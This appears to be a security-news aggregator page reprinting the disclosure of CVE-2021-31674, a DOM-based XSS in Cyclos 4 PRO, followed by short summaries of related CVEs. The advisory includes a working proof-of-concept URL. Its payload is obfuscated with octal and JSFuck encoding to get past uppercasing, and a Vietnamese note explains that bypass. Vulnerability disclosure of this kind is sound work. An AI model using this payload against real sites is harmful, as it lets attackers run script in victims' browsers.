Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-31674: Cyclos 4.14.7 - Dom-based Cross-Site Scripting in undefined enum (CVE-2021-31674)

Cyclos 4 PRO 4.14.7 and before does not validate user input at error inform, which allows remote unauthenticated attacker to execute javascript code via undefine enum constant.

CVE
#xss#js#java#auth

Cyclos 4.14.7 - Dom-based Cross-Site Scripting in undefined enum (CVE-2021-31674)

Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services

Vendor Homepage: https://www.cyclos.org/

Affected Version(s): Cyclos 4.14.7 (and prior)

Description: Cyclos 4 PRO 4.14.7 and before does not validate user input at error inform, which allows remote unauthenticated attacker to execute javascript code via undefined enum.

Steps to reproduce: An attacker sends a draft URL [IP]/#users.users.public-registrationxxx%3Cimg%20src=x%20onerror=%22[][‘\146\151\154\164\145\162’][‘\143\157\156\163\164\162\165\143\164\157\162’](‘\162\145\164\165\162\156\40\164\150\151\163’)()[‘\141\154\145\162\164’](1)%22%3E to victim. When a victim opens the URL, XSS will be triggered.

**

Note

**

Khi nhập vào một enum không tồn tại, thông báo lỗi sẽ xuất hiện kèm theo giá trị nhập vào, tuy nhiên các giá trị này sẽ đi qua function uppercase()

Như chúng ta đã biết nếu cụm alert() bị viết hoa (ALERT()) thì sẽ không có popup xảy ra

Do đó ta có thể sử dụng function alert() dạng JSFUCK rồi encode dạng octet để payload được ngắn lại. Final payload: <img src=x onerror="[][‘\146\151\154\164\145\162’]‘\143\157\156\163\164\162\165\143\164\157\162’()‘\141\154\145\162\164’">

Related news

CVE-2022-29969: ⚓ T307028 XSS in Extension:RSS when $wgRSSAllowLinkTag = true;

The RSS extension before 2022-04-29 for MediaWiki allows XSS via an rss element (if the feed is in $wgRSSUrlWhitelist and $wgRSSAllowLinkTag is true).

CVE-2022-29849: OpenEdge Application Development | Progress OpenEdge

In Progress OpenEdge before 11.7.14 and 12.x before 12.2.9, certain SUID binaries within the OpenEdge application were susceptible to privilege escalation. If exploited, a local attacker could elevate their privileges and compromise the affected system.

CVE-2022-28451: Possible issue with database backup filenames · Issue #6203 · nopSolutions/nopCommerce

nopCommerce 4.50.1 is vulnerable to Directory Traversal via the backup file in the Maintenance feature.

CVE-2021-31673: Cyclos 4.14.7 - Dom-based Cross-Site Scripting (CVE-2021-31673)

A Dom-based Cross-site scripting (XSS) vulnerability at registration account in Cyclos 4 PRO.14.7 and before allows remote attackers to inject arbitrary web script or HTML via the groupId parameter.

CVE-2022-25301: Prototype pollution in function jsgui-lang-essentials.ll_set() · Issue #1 · metabench/jsgui-lang-essentials

All versions of package jsgui-lang-essentials are vulnerable to Prototype Pollution due to allowing all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype.

CVE-2022-23923: Sandbox Bypass in org.webjars.bower:jailed | CVE-2022-23923 | Snyk

All versions of package jailed are vulnerable to Sandbox Bypass via an exported alert() method which can access the main application. Exported methods are stored in the application.remote object.

CVE-2022-25645: Prototype Pollution in org.webjars.npm:dset | CVE-2022-25645 | Snyk

All versions of package dset are vulnerable to Prototype Pollution via 'dset/merge' mode, as the dset function checks for prototype pollution by validating if the top-level path contains __proto__, constructor or protorype. By crafting a malicious object, it is possible to bypass this check and achieve prototype pollution.

CVE-2022-21167: Arbitrary Code Execution in masuit.tools.core | CVE-2022-21167 | Snyk

All versions of package masuit.tools.core are vulnerable to Arbitrary Code Execution via the ReceiveVarData<T> function in the SocketClient.cs component. The socket client in the package can pass in the payload via the user-controllable input after it has been established, because this socket client transmission does not have the appropriate restrictions or type bindings for the BinaryFormatter.

CVE-2022-25844: Regular Expression Denial of Service (ReDoS) in org.webjars.npm:angular | CVE-2022-25844 | Snyk

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value. **Note:** 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CVE-2022-21189: Prototype Pollution in dexie | CVE-2022-21189 | Snyk

The package dexie before 3.2.2, from 4.0.0-alpha.1 and before 4.0.0-alpha.3 are vulnerable to Prototype Pollution in the Dexie.setByKeyPath(obj, keyPath, value) function which does not properly check the keys being set (like __proto__ or constructor). This can allow an attacker to add/modify properties of the Object.prototype leading to prototype pollution vulnerability. **Note:** This vulnerability can occur in multiple ways, for example when modifying a collection with untrusted user input.

CVE-2022-25767: CVE-Req/ureport2-console.md at main · JinYiTong/CVE-Req

All versions of package com.bstek.ureport:ureport2-console are vulnerable to Remote Code Execution by connecting to a malicious database server, causing arbitrary file read and deserialization of local gadgets.

CVE-2022-25349: Cross-site Scripting (XSS) in materialize-css | CVE-2022-25349 | Snyk

All versions of package materialize-css are vulnerable to Cross-site Scripting (XSS) due to improper escape of user input (such as &lt;not-a-tag /&gt;) that is being parsed as HTML/JavaScript, and inserted into the Document Object Model (DOM). This vulnerability can be exploited when the user-input is provided to the autocomplete component.

CVE-2022-21149: Cross-site Scripting (XSS) in s-cart/core | CVE-2022-21149 | Snyk

The package s-cart/s-cart before 6.9; the package s-cart/core before 6.9 are vulnerable to Cross-site Scripting (XSS) which can lead to cookie stealing of any victim that visits the affected URL so the attacker can gain unauthorized access to that user's account through the stolen cookie.

CVE-2022-24437: Command Injection vulnerability in [email protected]

The package git-pull-or-clone before 2.0.2 are vulnerable to Command Injection due to the use of the --upload-pack feature of git which is also supported for git clone. The source includes the use of the secure child process API spawn(). However, the outpath parameter passed to it may be a command-line argument to the git clone command and result in arbitrary command injection.

CVE-2022-21144: Denial of Service (DoS) in libxmljs | CVE-2022-21144 | Snyk

This affects all versions of package libxmljs. When invoking the libxmljs.parseXml function with a non-buffer argument the V8 code will attempt invoking the .toString method of the argument. If the argument's toString value is not a Function object V8 will crash.

CVE-2022-25647: Prevent Java deserialization of internal classes by Marcono1234 · Pull Request #1991 · google/gson

The package com.google.code.gson:gson before 2.8.9 are vulnerable to Deserialization of Untrusted Data via the writeReplace() method in internal classes, which may lead to DoS attacks.

CVE-2022-25842: remove unused IOUtils.unzip by robberphex · Pull Request #29 · alibaba/one-java-agent

All versions of package com.alibaba.oneagent:one-java-agent-plugin are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) using a specially crafted archive that holds directory traversal filenames (e.g. ../../evil.exe). The attacker can overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine.

CVE-2022-21227: Denial of Service (DoS) in sqlite3 | CVE-2022-21227 | Snyk

The package sqlite3 before 5.0.3 are vulnerable to Denial of Service (DoS) which will invoke the toString function of the passed parameter. If passed an invalid Function object it will throw and crash the V8 engine.

CVE-2022-22143: Prototype Pollution in convict | CVE-2022-22143 | Snyk

The package convict before 6.2.2 are vulnerable to Prototype Pollution via the convict function due to missing validation of parentKey. **Note:** This vulnerability derives from an incomplete fix of another [vulnerability](https://security.snyk.io/vuln/SNYK-JS-CONVICT-1062508)

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907